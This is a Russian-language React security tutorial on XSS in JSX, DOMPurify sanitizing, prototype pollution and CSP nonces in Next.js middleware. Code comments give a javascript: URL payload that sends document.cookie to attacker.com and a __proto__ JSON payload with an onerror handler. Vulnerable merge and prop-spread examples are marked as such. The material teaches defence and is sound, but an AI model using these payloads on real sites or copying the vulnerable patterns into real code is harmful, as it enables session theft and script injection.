Безопасность React: векторы XSS в JSX, Prototype Pollution и CSP Nonces

const untrustedInput = '<script>alert("hacked")</script>';
// React отрендерит безопасный текстовый узел:
// &lt;script&gt;alert(&quot;hacked&quot;)&lt;/script&gt;
<div>{untrustedInput}</div>

┌────────────────────────────────────────────────────────────────────────┐
│                   УРОВЕНЬ 1: СЕТЬ И ЗАГОЛОВКИ БЕЗОПАСНОСТИ             │
│  Content-Security-Policy (CSP) со строгим криптографическим Nonce      │
│  script-src 'self' 'nonce-{RANDOM}' 'strict-dynamic';                  │
│  frame-ancestors 'none'; base-uri 'self'; object-src 'none';           │
└───────────────────────────────────┬────────────────────────────────────┘
                                    │ Блокирует исполнение неавторизованного JS
                                    ▼
┌────────────────────────────────────────────────────────────────────────┐
│                   УРОВЕНЬ 2: ВАЛИДАЦИЯ И САНИТИЗАЦИЯ ВВОДА             │
│  - DOMPurify: строгий whitelist разрешенных тегов и атрибутов          │
│  - Валидация протоколов URL (только https: и http:)                    │
│  - Защита от Prototype Pollution: Object.freeze / Object.create(null)  │
└───────────────────────────────────┬────────────────────────────────────┘
                                    │ Нейтрализует инъекции в атрибуты и mXSS
                                    ▼
┌────────────────────────────────────────────────────────────────────────┐
│                   УРОВЕНЬ 3: АРХИТЕКТУРА СЕССИЙ И ТОКЕНОВ              │
│  - Refresh Token: куки HttpOnly; Secure; SameSite=Strict               │
│  - Access Token: строго в оперативной памяти (In-Memory Heap)          │
│  - Механизм Silent Refresh при 401 Unauthorized с очередью запросов    │
└───────────────────────────────────┬────────────────────────────────────┘
                                    │ Изолирует секреты от чтения скриптами
                                    ▼
┌────────────────────────────────────────────────────────────────────────┐
│                   УРОВЕНЬ 4: БЕЗОПАСНЫЙ РЕНДЕРИНГ КОМПОНЕНТОВ          │
│  - Явный whitelist пропсов вместо слепого спрэда <Comp {...payload} /> │
│  - Безопасные обертки <SafeLink> и <SafeHtmlRenderer>                  │
│  - Атрибуты rel="noopener noreferrer nofollow" для внешних ссылок      │
└────────────────────────────────────────────────────────────────────────┘

// ❌ Уязвимый компонент: клик приведет к выполнению скрипта в контексте жертвы
export function UserProfileLink({ websiteUrl }: { websiteUrl: string }) {
  // Если websiteUrl = "javascript:fetch('https://attacker.com/steal?c='+document.cookie)"
  return <a href={websiteUrl}>Веб-сайт пользователя</a>;
}

import React from 'react';

interface SafeLinkProps extends React.AnchorHTMLAttributes<HTMLAnchorElement> {
  href: string;
  fallbackText?: string;
}

const ALLOWED_PROTOCOLS = new Set(['https:', 'http:', 'mailto:', 'tel:']);

export function SafeLink({
  href,
  fallbackText,
  children,
  ...restProps
}: SafeLinkProps) {
  const isSafe = React.useMemo(() => {
    try {
      // Парсим относительно безопасного базового URL для отсева невалидных строк
      const parsed = new URL(href, window.location.origin);
      return ALLOWED_PROTOCOLS.has(parsed.protocol);
    } catch {
      return false;
    }
  }, [href]);

  if (!isSafe) {
    return (
      <span className="text-text-muted cursor-not-allowed">
        {fallbackText ?? children}
      </span>
    );
  }

  // Явно защищаем от Reverse Tabnabbing и утечки Referer
  return (
    <a
      href={href}
      target="_blank"
      rel="noopener noreferrer nofollow"
      {...restProps}
    >
      {children}
    </a>
  );
}

import React from 'react';
import DOMPurify from 'dompurify';

interface SafeHtmlRendererProps {
  dirtyHtml: string;
  className?: string;
}

export const SafeHtmlRenderer: React.FC<SafeHtmlRendererProps> = ({
  dirtyHtml,
  className,
}) => {
  const cleanHtml = React.useMemo(() => {
    return DOMPurify.sanitize(dirtyHtml, {
      ALLOWED_TAGS: [
        'b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'ol', 'li', 'code', 'pre', 'blockquote'
      ],
      ALLOWED_ATTR: ['href', 'target', 'rel', 'class'],
      ALLOW_DATA_ATTR: false,
      ADD_ATTR: ['target', 'rel'],
      FORBID_TAGS: ['style', 'script', 'iframe', 'object', 'embed', 'form'],
      FORBID_ATTR: ['onerror', 'onload', 'onclick', 'onmouseover', 'style'],
    });
  }, [dirtyHtml]);

  return (
    <div
      className={className}
      dangerouslySetInnerHTML={{ __html: cleanHtml }}
    />
  );
};

// ❌ Уязвимая функция глубокого слияния объектов
function naiveDeepMerge(target: any, source: any) {
  for (const key of Object.keys(source)) {
    if (typeof source[key] === 'object' && source[key] !== null) {
      if (!target[key]) target[key] = {};
      naiveDeepMerge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

// Если source = JSON.parse('{"__proto__": {"dangerouslySetInnerHTML": {"__html": "<img src=x onerror=alert(1)>"}}}')
// В результате Object.prototype.dangerouslySetInnerHTML становится активным для ВСЕХ компонентов!

// ❌ Слепой спрэд пропсов: атакующий может прокинуть служебные атрибуты
export function UserProfileCard({ rawData }: { rawData: Record<string, unknown> }) {
  return <div {...rawData} className="user-profile" />;
}

// ✅ Безопасный подход: строгая деструктуризация и белый список пропсов
interface SafeUserData {
  id: string;
  displayName: string;
  avatarUrl?: string;
}

export function SafeUserProfileCard({ id, displayName, avatarUrl }: SafeUserData) {
  return (
    <div data-user-id={id} className="user-profile">
      <span>{displayName}</span>
      {avatarUrl && <img src={avatarUrl} alt={displayName} loading="lazy" />}
    </div>
  );
}

import { NextResponse, type NextRequest } from 'next/server';

export function middleware(request: NextRequest) {
  // 1. Генерация криптографически стойкого случайного токена Nonce
  const nonce = Buffer.from(crypto.randomUUID()).toString('base64');

  // 2. Формирование строгой политики CSP
  // 'strict-dynamic' передает доверие от доверенного скрипта его дочерним чанкам
  const cspHeader = `
    default-src 'self';
    script-src 'self' 'nonce-${nonce}' 'strict-dynamic';
    style-src 'self' 'nonce-${nonce}';
    img-src 'self' blob: data: https:;
    font-src 'self';
    object-src 'none';
    base-uri 'self';
    form-action 'self';
    frame-ancestors 'none';
    upgrade-insecure-requests;
  `.replace(/\s{2,}/g, ' ').trim();

  // 3. Инъекция nonce в заголовки запроса (для Server Components) и ответа (для клиента)
  const requestHeaders = new Headers(request.headers);
  requestHeaders.set('x-nonce', nonce);
  requestHeaders.set('Content-Security-Policy', cspHeader);

  const response = NextResponse.next({
    request: {
      headers: requestHeaders,
    },
  });

  response.headers.set('Content-Security-Policy', cspHeader);
  return response;
}